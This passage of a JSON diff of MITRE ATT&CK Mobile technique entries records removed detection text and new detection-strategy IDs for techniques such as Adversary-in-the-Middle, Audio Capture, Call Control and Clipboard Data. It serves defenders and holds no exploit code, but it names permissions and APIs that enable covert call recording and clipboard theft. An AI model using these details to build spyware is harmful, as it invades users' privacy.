"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.052000+00:00\", \"old_value\": \"2025-04-16 21:21:57.695000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services could closely scrutinize applications that request Device Administrator permissions.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0605: Detection of Account Access Removal" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--08e22979-d320-48ed-8711-e7bf94aabb13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-05 20:11:08.894000+00:00", + "modified": "2025-10-24 17:48:21.401000+00:00", + "name": "Adversary-in-the-Middle", + "description": "Adversaries may attempt to position themselves between two or more networked devices to support follow-on behaviors such as [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642). \n\n \n\n[Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1638) can be achieved through several mechanisms. For example, a malicious application may register itself as a VPN client, effectively redirecting device traffic to adversary-owned resources. Registering as a VPN client requires user consent on both Android and iOS; additionally, a special entitlement granted by Apple is needed for iOS devices. Alternatively, a malicious application with escalation privileges may utilize those privileges to gain access to network traffic. \n\n\n Specific to Android devices, adversary-in-the-disk is a type of AiTM attack where adversaries monitor and manipulate data that is exchanged between applications and external storage.(Citation: mitd_kaspersky)(Citation: mitd_checkpoint)(Citation: mitd_checkpoint_research) To accomplish this, a malicious application firsts requests for access to multimedia files on the device (`READ_EXTERNAL STORAGE` and `WRITE_EXTERNAL_STORAGE`), then the application reads data on the device and/or writes malware to the device. Though the request for access is common, when used maliciously, adversaries may access files and other sensitive data due to abusing the permission. Multiple applications were shown to be vulnerable against this attack; however, scrutiny of permissions and input validations may mitigate this attack. \n\nOutside of a mobile device, adversaries may be able to capture traffic by employing a rogue base station or Wi-Fi access point. These devices will allow adversaries to capture network traffic after it has left the device, while it is flowing to its destination. On a local network, enterprise techniques could be used, such as [ARP Cache Poisoning](https://attack.mitre.org/techniques/T1557/002) or [DHCP Spoofing](https://attack.mitre.org/techniques/T1557/003). \n\n \n\nIf applications properly encrypt their network traffic, sensitive data may not be accessible to adversaries, depending on the point of capture. For example, properly implementing Apple\u2019s Application Transport Security (ATS) and Android\u2019s Network Security Configuration (NSC) may prevent sensitive data leaks.(Citation: NSC_Android)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1638", + "external_id": "T1638" + }, + { + "source_name": "mitd_checkpoint", + "description": "Check Point Research Team. (2018, August 12). Man-in-the-Disk: A New Attack Surface for Android Apps. Retrieved October 31, 2023.", + "url": "https://blog.checkpoint.com/security/man-in-the-disk-a-new-attack-surface-for-android-apps/" + }, + { + "source_name": "mitd_kaspersky", + "description": "Drozhzhin, A. (2018, August 27). Man-in-the-Disk: A new and dangerous way to hack Android. Retrieved October 31, 2023.", + "url": "https://usa.kaspersky.com/blog/man-in-the-disk/16089/" + }, + { + "source_name": "NSC_Android", + "description": "Lee, A., Ramirez, T. (2018, August 15). A Security Analyst\u2019s Guide to Network Security Configuration in Android P . Retrieved February 7, 2024.", + "url": "https://www.nowsecure.com/blog/2018/08/15/a-security-analysts-guide-to-network-security-configuration-in-android-p/" + }, + { + "source_name": "mitd_checkpoint_research", + "description": "Makkaveev, S. (2018, August 12). Man-in-the-Disk: Android Apps Exposed via External Storage. Retrieved October 31, 2023.", + "url": "https://research.checkpoint.com/androids-man-in-the-disk/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html", + "external_id": "CEL-3" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html", + "external_id": "APP-0" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html", + "external_id": "APP-1" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-8.html", + "external_id": "APP-8" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-12.html", + "external_id": "ECO-12" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.401000+00:00\", \"old_value\": \"2024-02-07 18:10:46.887000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services should look for applications that request VPN access. These applications should be heavily scrutinized since VPN functionality is not very common. Mobile security products can potentially detect rogue Wi-Fi access points if the adversary is attempting to decrypt traffic using an untrusted SSL certificate. \\n\\n \\n\\nOn both Android and iOS, users must grant consent to an application to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is active. Users can see registered VPN services in the device settings. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Application vetting services should look for applications that request VPN access. These applications should be heavily scrutinized since VPN functionality is not very common. Mobile security products can potentially detect rogue Wi-Fi access points if the adversary is attempting to decrypt traffic using an untrusted SSL certificate. \\n-\\n- \\n-\\n-On both Android and iOS, users must grant consent to an application to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is active. Users can see registered VPN services in the device settings. \"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1009: Encrypt Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0041: Application Vetting (Protected Configuration)", + "DS0042: User Interface (Permissions Request)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0623: Detection of Adversary-in-the-Middle" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6a3f6490-9c44-40de-b059-e5940f246673", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:33.158000+00:00", + "modified": "2025-10-24 17:48:54.576000+00:00", + "name": "Application Layer Protocol", + "description": "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the mobile device, and often the results of those commands, will be embedded within the protocol traffic between the mobile device and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1437", + "external_id": "T1437" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html", + "external_id": "APP-29" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:54.576000+00:00\", \"old_value\": \"2025-04-16 21:21:50.479000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0685: Detection of Application Layer Protocol" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2282a98b-5049-4f61-9381-55baca7c1add", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 19:06:27.177000+00:00", + "modified": "2025-10-24 17:48:31.318000+00:00", + "name": "Web Protocols", + "description": "Adversaries may communicate using application layer protocols associated with web protocols traffic to avoid detection/network filtering by blending in with existing traffic. Commands to remote mobile devices, and often the results of those commands, will be embedded within the protocol traffic between the mobile client and server. \n\nWeb protocols such as HTTP and HTTPS are used for web traffic as well as well as notification services native to mobile messaging services such as Google Cloud Messaging (GCM) and newly, Firebase Cloud Messaging (FCM), (GCM/FCM: two-way communication) and Apple Push Notification Service (APNS; one-way server-to-device). Such notification services leverage HTTP/S via the respective API and are commonly abused on Android and iOS respectively in order blend in with routine device traffic making it difficult for enterprises to inspect. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1437/001", + "external_id": "T1437.001" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html", + "external_id": "APP-29" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.318000+00:00\", \"old_value\": \"2025-04-16 21:21:46.363000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior. \"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0620: Detection of Web Protocols" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e3b936a4-6321-4172-9114-038a866362ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-10 15:00:44.181000+00:00", + "modified": "2025-10-24 17:49:31.761000+00:00", + "name": "Archive Collected Data", + "description": "Adversaries may compress and/or encrypt data that is collected prior to exfiltration. Compressing data can help to obfuscate its contents and minimize use of network resources. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. \n\n \n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, programming library, or custom algorithm. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1532", + "external_id": "T1532" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.761000+00:00\", \"old_value\": \"2025-04-16 21:21:57.990000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Many encryption mechanisms are built into standard application-accessible APIs and are therefore undetectable to the end user.\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0670: Detection of Archive Collected Data" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:12.913000+00:00", + "modified": "2025-10-24 17:48:52.833000+00:00", + "name": "Audio Capture", + "description": "Adversaries may capture audio to collect information by leveraging standard operating system APIs of a mobile device. Examples of audio information adversaries may target include user conversations, surroundings, phone calls, or other sensitive information. \n\n \n\nAndroid and iOS, by default, require that applications request device microphone access from the user. \n\n \n\nOn Android devices, applications must hold the `RECORD_AUDIO` permission to access the microphone or the `CAPTURE_AUDIO_OUTPUT` permission to access audio output. Because Android does not allow third-party applications to hold the `CAPTURE_AUDIO_OUTPUT` permission by default, only privileged applications, such as those distributed by Google or the device vendor, can access audio output.(Citation: Android Permissions) However, adversaries may be able to gain this access after successfully elevating their privileges. With the `CAPTURE_AUDIO_OUTPUT` permission, adversaries may pass the `MediaRecorder.AudioSource.VOICE_CALL` constant to `MediaRecorder.setAudioOutput`, allowing capture of both voice call uplink and downlink.(Citation: Manifest.permission) \n\n \n\nOn iOS devices, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file to access the microphone.(Citation: Requesting Auth-Media Capture)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1429", + "external_id": "T1429" + }, + { + "source_name": "Manifest.permission", + "description": "Android Developers. (2022, March 17). Voice Call. Retrieved April 1, 2022.", + "url": "https://developer.android.com/reference/android/media/MediaRecorder.AudioSource#VOICE_CALL" + }, + { + "source_name": "Requesting Auth-Media Capture", + "description": "Apple Developers. (n.d.). Requesting Authorization for Media Capture on iOS. Retrieved April 1, 2022.", + "url": "https://developer.apple.com/documentation/avfoundation/cameras_and_media_capture/requesting_authorization_for_media_capture_on_ios" + }, + { + "source_name": "Android Permissions", + "description": "Google. (2021, August 11). Manifest.permission. Retrieved September 22, 2021.", + "url": "https://developer.android.com/reference/android/Manifest.permission" + }, + { + "source_name": "Android Privacy Indicators", + "description": "Google. (n.d.). Privacy Indicators. Retrieved April 20, 2022.", + "url": "https://source.android.com/devices/tech/config/privacy-indicators" + }, + { + "source_name": "iOS Mic Spyware", + "description": "ZecOps Research Team. (2021, November 4). How iOS Malware Can Spy on Users Silently. Retrieved April 1, 2022.", + "url": "https://blog.zecops.com/research/how-ios-malware-can-spy-on-users-silently/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html", + "external_id": "APP-19" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "3.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.833000+00:00\", \"old_value\": \"2025-04-16 21:21:49.937000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"In iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware)\\n\\n\\nIn Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators)\\n \\n\\nAndroid applications using the `RECORD_AUDIO` permission and iOS applications using `RequestRecordPermission` should be carefully reviewed and monitored. If the `CAPTURE_AUDIO_OUTPUT` permission is found in a third-party Android application, the application should be heavily scrutinized. \\n\\n \\n\\nIn both Android (6.0 and up) and iOS, users can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary. \", \"diff\": \"--- \\n+++ \\n@@ -1,11 +0,0 @@\\n-In iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware)\\n-\\n-\\n-In Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators)\\n- \\n-\\n-Android applications using the `RECORD_AUDIO` permission and iOS applications using `RequestRecordPermission` should be carefully reviewed and monitored. If the `CAPTURE_AUDIO_OUTPUT` permission is found in a third-party Android application, the application should be heavily scrutinized. \\n-\\n- \\n-\\n-In both Android (6.0 and up) and iOS, users can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary. \"}}}", + "previous_version": "3.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0673: Detection of Audio Capture" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:31.294000+00:00", + "modified": "2025-10-24 17:48:43.758000+00:00", + "name": "Boot or Logon Initialization Scripts", + "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts are part of the underlying operating system and are not accessible to the user unless the device has been rooted or jailbroken. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1398", + "external_id": "T1398" + }, + { + "source_name": "Android-VerifiedBoot", + "description": "Android. (n.d.). Verified Boot. Retrieved December 21, 2016.", + "url": "https://source.android.com/security/verifiedboot/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html", + "external_id": "APP-26" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "external_id": "APP-27" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:43.758000+00:00\", \"old_value\": \"2025-04-16 21:21:48.836000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Android, Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromise devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices. \"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates", + "M1002: Attestation", + "M1003: Lock Bootloader", + "M1004: System Partition Integrity" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0654: Detection of Boot or Logon Initialization Scripts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--351ddf79-2d3a-41b4-9bef-82ea5d3ccd69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-09-20 13:42:20.824000+00:00", + "modified": "2025-10-24 17:48:38.183000+00:00", + "name": "Call Control", + "description": "Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication.\n\nSeveral permissions may be used to programmatically control phone calls, including:\n\n* `ANSWER_PHONE_CALLS` - Allows the application to answer incoming phone calls(Citation: Android Permissions)\n* `CALL_PHONE` - Allows the application to initiate a phone call without going through the Dialer interface(Citation: Android Permissions)\n* `PROCESS_OUTGOING_CALLS` - Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether(Citation: Android Permissions)\n* `MANAGE_OWN_CALLS` - Allows a calling application which manages its own calls through the self-managed `ConnectionService` APIs(Citation: Android Permissions)\n* `BIND_TELECOM_CONNECTION_SERVICE` - Required permission when using a `ConnectionService`(Citation: Android Permissions)\n* `WRITE_CALL_LOG` - Allows an application to write to the device call log, potentially to hide malicious phone calls(Citation: Android Permissions)\n\nWhen granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of [Input Injection](https://attack.mitre.org/techniques/T1516) to programmatically initiate it.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "impact" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1616", + "external_id": "T1616" + }, + { + "source_name": "Android Permissions", + "description": "Google. (2021, August 11). Manifest.permission. Retrieved September 22, 2021.", + "url": "https://developer.android.com/reference/android/Manifest.permission" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-41.html", + "external_id": "APP-41" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-42.html", + "external_id": "CEL-42" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-36.html", + "external_id": "CEL-36" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-18.html", + "external_id": "CEL-18" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Gaetan van Diemen, ThreatFabric" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.183000+00:00\", \"old_value\": \"2025-04-16 21:21:47.962000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Users can view their default phone app in device settings. Users can review available call logs for irregularities, such as missing or unrecognized calls.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0042: User Interface (System Notifications)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0703: Detection of Call Control" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c4b96c0b-cb58-497a-a1c2-bb447d79d692", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:19.996000+00:00", + "modified": "2025-10-24 17:49:21.369000+00:00", + "name": "Clipboard Data", + "description": "Adversaries may abuse clipboard manager APIs to obtain sensitive information copied to the device clipboard. For example, passwords being copied and pasted from a password manager application could be captured by a malicious application installed on the device.(Citation: Fahl-Clipboard) \n\n \n\nOn Android, applications can use the `ClipboardManager.OnPrimaryClipChangedListener()` API to register as a listener and monitor the clipboard for changes. However, starting in Android 10, this can only be used if the application is in the foreground, or is set as the device\u2019s default input method editor (IME).(Citation: Github Capture Clipboard 2019)(Citation: Android 10 Privacy Changes) \n\n \n\nOn iOS, this can be accomplished by accessing the `UIPasteboard.general.string` field. However, starting in iOS 14, upon accessing the clipboard, the user will be shown a system notification if the accessed text originated in a different application. For example, if the user copies the text of an iMessage from the Messages application, the notification will read \u201capplication_name has pasted from Messages\u201d when the text was pasted in a different application.(Citation: UIPPasteboard)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1414", + "external_id": "T1414" + }, + { + "source_name": "Android 10 Privacy Changes", + "description": "Android Developers. (n.d.). Privacy changes in Android 10. Retrieved September 11, 2019.", + "url": "https://developer.android.com/about/versions/10/privacy/changes#clipboard-data" + }, + { + "source_name": "UIPPasteboard", + "description": "Apple Developer. (n.d.). UIPasteboard. Retrieved April 1, 2022.", + "url": "https://developer.apple.com/documentation/uikit/uipasteboard" + }, + { + "source_name": "Fahl-Clipboard", + "description": "Fahl, S, et al.. (2013). Hey, You, Get Off of My Clipboard. Retrieved September 12, 2024.", + "url": "https://saschafahl.de/static/paper/pwmanagers2013.pdf" + }, + { + "source_name": "Github Capture Clipboard 2019", + "description": "Pearce, G. (, January). Retrieved August 8, 2019.", + "url": "https://github.com/grepx/android-clipboard-security" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html", + "external_id": "APP-35" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "3.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:21.369000+00:00\", \"old_value\": \"2024-09-12 15:17:00.569000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services could detect usage of standard clipboard APIs.\"}}}", + "previous_version": "3.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + 